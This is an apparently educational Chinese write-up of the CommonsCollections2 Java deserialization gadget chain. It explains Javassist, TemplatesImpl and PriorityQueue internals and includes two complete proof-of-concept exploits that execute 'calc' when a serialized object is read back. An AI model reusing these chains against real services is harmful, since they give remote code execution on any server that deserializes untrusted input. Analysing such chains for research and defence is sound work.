环境搭建 依赖commmonscollections4(3.1中TransformingComparator没有继承自Serializable所以无法进行Java反序列化)
pom.xml
1 2 3 4 5 6 7 8 9 10 11  <dependency >              <groupId > org.apache.commons</groupId >              <artifactId > commons-collections4</artifactId >              <version > 4.0</version >          </dependency >          <dependency >              <groupId > org.javassist</groupId >              <artifactId > javassist</artifactId >              <version > 3.25.0-GA</version > </dependency > 
 
前置知识 javasist 用于生成字节码
先在pom.xml添加依赖
1 2 3 4 5 <dependency >              <groupId > org.javassist</groupId >              <artifactId > javassist</artifactId >              <version > 3.25.0-GA</version >          </dependency > 
 
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  javassist.ClassClassPath;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;public  class  JavassistTest   {     public  static  void  main (String[] args)  throws  Exception  {                  ClassPool pool = ClassPool.getDefault();                  pool.insertClassPath(new  ClassClassPath(AbstractTranslet.class));                  CtClass test = pool.makeClass("Evil" );         String name = "Evil"  + System.nanoTime();         test.setName(name);                  String cmd = "System.out.println(\"Hello,Javasist\");" ;                  test.setSuperclass(pool.get(AbstractTranslet.class.getName()));                  CtConstructor constructor = test.makeClassInitializer();                  constructor.insertBefore(cmd);                  test.writeFile("./" );     } }
 
可以看到生成了一个class文件
.class文件的内容
ClassLoader#defineClass ClassLoader是Java的类加载器,主要用于加载字节码
利用类加载器的defineClass方法来加载字节码,但是由于ClassLoader#defineClass方法是protected所以无法直接从外部进行调用,只能通过反射来调用这个方法
1 2 3 4 5 Class clas = Class.forName("java.lang.ClassLoader" );         Method defineclass = clas.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class);         defineclass.setAccessible(true );         Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil" ,bytes,0 ,bytes.length);         claz.newInstance();
 
TemplatesImpl 在TemplatesImpl类中定义了一个内部类TransletClassLoader,在这个类中对loadClass进行了重写并且可以被外部进行调用,可以被用来加载字节码
两个要求
要利用反射设置这四个属性 
javasist生成的代码要继承自AbstractTranslet 
 
利用TemplatesImpl来加载字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javassist.*;import  java.lang.reflect.Field;public  class  TemplatesTest   {     public  static  void  main (String[] args)  throws  Exception  {         ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new  ClassClassPath(AbstractTranslet.class));         CtClass clas = pool.makeClass("TempTest" );         clas.setSuperclass(pool.get(AbstractTranslet.class.getName()));         String cmd = "System.out.println(\"Templates Test\");" ;         CtConstructor constructor = clas.makeClassInitializer();         constructor.insertBefore(cmd);         clas.writeFile("./" );         byte [] bytes = clas.toBytecode();         TemplatesImpl templates = TemplatesImpl.class.newInstance();         Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" );         Field _name = temp.getDeclaredField("_name" );         _name.setAccessible(true );         _name.set(templates,"tttt" );         setFieled(templates,temp,"_name" ,"tttt" );         setFieled(templates,temp,"_class" ,null );         setFieled(templates,temp,"_bytecodes" ,new  byte [][]{bytes});         setFieled(templates,temp,"_tfactory" ,new  TransformerFactoryImpl());         templates.getOutputProperties();     }     public  static  void  setFieled (TemplatesImpl templates,Class clas ,String fieled,Object obj)  throws  Exception {         Field _field = clas.getDeclaredField(fieled);         _field.setAccessible(true );         _field.set(templates,obj);     } }
 
成功加载了生成的class文件
触发过程
为什么要先用反射设置属性? 在getTransletInstance中,需要满足条件_name!==null和_class==null才能进入defineTransletClasses
进入defineTransletClasses,_bytecodes的值为被加载的字节码
为什么javasist生成的代码要继承自AbstractTranslet? defineTransletClasses中存在对父类的判断,父类不是ABSTRACT_TRANSLET的时候会报错。所以在生成字节码的时候需要设置父类
利用链 分析 org.apache.commons.collections4.comparators.TransformingComparator#compare
漏洞起点是TransformingComparator.compare(),其中触发了transform方法
org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator
this.transformer可控,来源于构造函数中传入的transform参数
接下来就跟之前一样了,由于我们可以调用任意类的transform方法,只需在构造方法中传入构造好的ChainedTransforme然后触发反射链执行命令
接下来我们需要找到能触发TransformingComparator.compare()并 且传入参数可控的点
条件:
能触发TransformingComparator.compare() 
传入compare函数的参数可控,这样才能传入ChainedTransformer执行反射链 
 
PriorityQueue(执行命令) 分析 java.util.PriorityQueue#readObject
这里对传入参数ObjectInputStream进行反序列化,然后赋值给queue数组
queue是属性,可以使用反射修改它,所以queue可控
java.util.PriorityQueue#heapify
接下来进入 heapify() 函数,这里的queue跟上面一样,也是可控的
java.util.PriorityQueue#siftDown
继续来看 siftDown() 函数,如果comparator不为null,那么就会进入siftDownUsingComparator() 函数,此时x可控
java.util.PriorityQueue#siftDownUsingComparator
调用comparator的compare函数, 这里的 x 就是上面传进来的queue,是可控的。利用反射让comparator等于TransformingComparator就可以调用TransformingComparator.compare()。同时x可控,这样就可以利用 InvokerTransformer 触发任意类的任意方法。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import  java.io.FileInputStream;import  java.io.FileOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.util.PriorityQueue;import  org.apache.commons.collections4.Transformer;import  org.apache.commons.collections4.comparators.TransformingComparator;import  org.apache.commons.collections4.functors.ChainedTransformer;import  org.apache.commons.collections4.functors.ConstantTransformer;import  org.apache.commons.collections4.functors.InvokerTransformer;public  class  Test   {     public  static  void  main (String[] args)  throws  Exception {                           ChainedTransformer chain = new  ChainedTransformer(new  Transformer[] {             new  ConstantTransformer(Runtime.class),             new  InvokerTransformer("getMethod" , new  Class[] {                 String.class, Class[].class }, new  Object[] {                 "getRuntime" , new  Class[0 ] }),             new  InvokerTransformer("invoke" , new  Class[] {                 Object.class, Object[].class }, new  Object[] {                 null , new  Object[0 ] }),             new  InvokerTransformer("exec" ,                 new  Class[] { String.class }, new  Object[]{"calc" })});                           TransformingComparator transformingComparator = new  TransformingComparator(chain);                           PriorityQueue queue = new  PriorityQueue(1 );         queue.add(1 );         queue.add(2 );                  Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" );         field.setAccessible(true );         field.set(queue,transformingComparator);         try {             ObjectOutputStream outputStream = new  ObjectOutputStream(new  FileOutputStream("evil.bin" ));             outputStream.writeObject(queue);             outputStream.close();             ObjectInputStream inputStream = new  ObjectInputStream(new  FileInputStream("evil.bin" ));             inputStream.readObject();         }catch (Exception e){             e.printStackTrace();         }     } }
 
可以执行命令
流程
为什么这里queue要添加两个元素? 如果只添加一个的话,最终结果会为-1从而无法进入siftDown函数
执行代码 上面这种方法仅仅能执行命令,危害不足。cc2中可以通过利用javasist 和 TemplatesImpl,加载字节码来进行执行代码。
思路:
先利用javasist生成字节码 
利用上面的InvokerTransformer触发TemplatesImpl的newTransformer 从而读取恶意字节码从而进行执行命令 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import  java.io.FileInputStream;import  java.io.FileOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationTargetException;import  java.util.PriorityQueue;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javassist.ClassClassPath;import  javassist.ClassPool;import  javassist.CtClass;import  org.apache.commons.collections4.Transformer;import  org.apache.commons.collections4.comparators.TransformingComparator;import  org.apache.commons.collections4.functors.ChainedTransformer;import  org.apache.commons.collections4.functors.ConstantTransformer;import  org.apache.commons.collections4.functors.InvokerTransformer;public  class  CommonCollection2   {     public  static  void  main (String[] args)  throws  Exception  {                  ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new  ClassClassPath(AbstractTranslet.class));         CtClass cc = pool.makeClass("Cat" );         String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ;         cc.makeClassInitializer().insertBefore(cmd);         String randomClassName = "EvilCat"  + System.nanoTime();         cc.setName(randomClassName);         cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));         byte [] classBytes = cc.toBytecode();         byte [][] targetByteCodes = new  byte [][]{classBytes};                  Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer" )             .getDeclaredConstructor(String.class);         constructor.setAccessible(true );         InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer" );                           TemplatesImpl templates = TemplatesImpl.class.newInstance();         setFieldValue(templates, "_bytecodes" , targetByteCodes);         setFieldValue(templates, "_name" , "name" );         setFieldValue(templates, "_class" , null );                  PriorityQueue queue = new  PriorityQueue(1 );         Object[] queue_array = new  Object[]{templates,1 };         Field queue_field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("queue" );         queue_field.setAccessible(true );         queue_field.set(queue,queue_array);                  Field size = Class.forName("java.util.PriorityQueue" ).getDeclaredField("size" );         size.setAccessible(true );         size.set(queue,2 );                  TransformingComparator comparator = new  TransformingComparator(transformer);         Field comparator_field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" );         comparator_field.setAccessible(true );         comparator_field.set(queue,comparator);                  try {             ObjectOutputStream outputStream = new  ObjectOutputStream(new  FileOutputStream("./cc2" ));             outputStream.writeObject(queue);             outputStream.close();             ObjectInputStream inputStream = new  ObjectInputStream(new  FileInputStream("./cc2" ));             inputStream.readObject();         }catch (Exception e){             e.printStackTrace();         }     }     public  static  void  setFieldValue (final  Object obj, final  String fieldName, final  Object value)  throws  Exception  {         final  Field field = getField(obj.getClass(), fieldName);         field.set(obj, value);     }     public  static  Field getField (final  Class<?> clazz, final  String fieldName)   {         Field field = null ;         try  {             field = clazz.getDeclaredField(fieldName);             field.setAccessible(true );         }         catch  (NoSuchFieldException ex) {             if  (clazz.getSuperclass() != null )                 field = getField(clazz.getSuperclass(), fieldName);         }         return  field;     } }
 
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#compare
调用设置好的InvokerTransformer的transform,反射调用newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
进入getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
先用defineTransletClasses加载字节码,把得到的类赋值给_class,然后执行newInstance,把_class实例化
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
加载_bytecodes中的字节码
成功执行
参考链接 http://wjlshare.com/archives/1509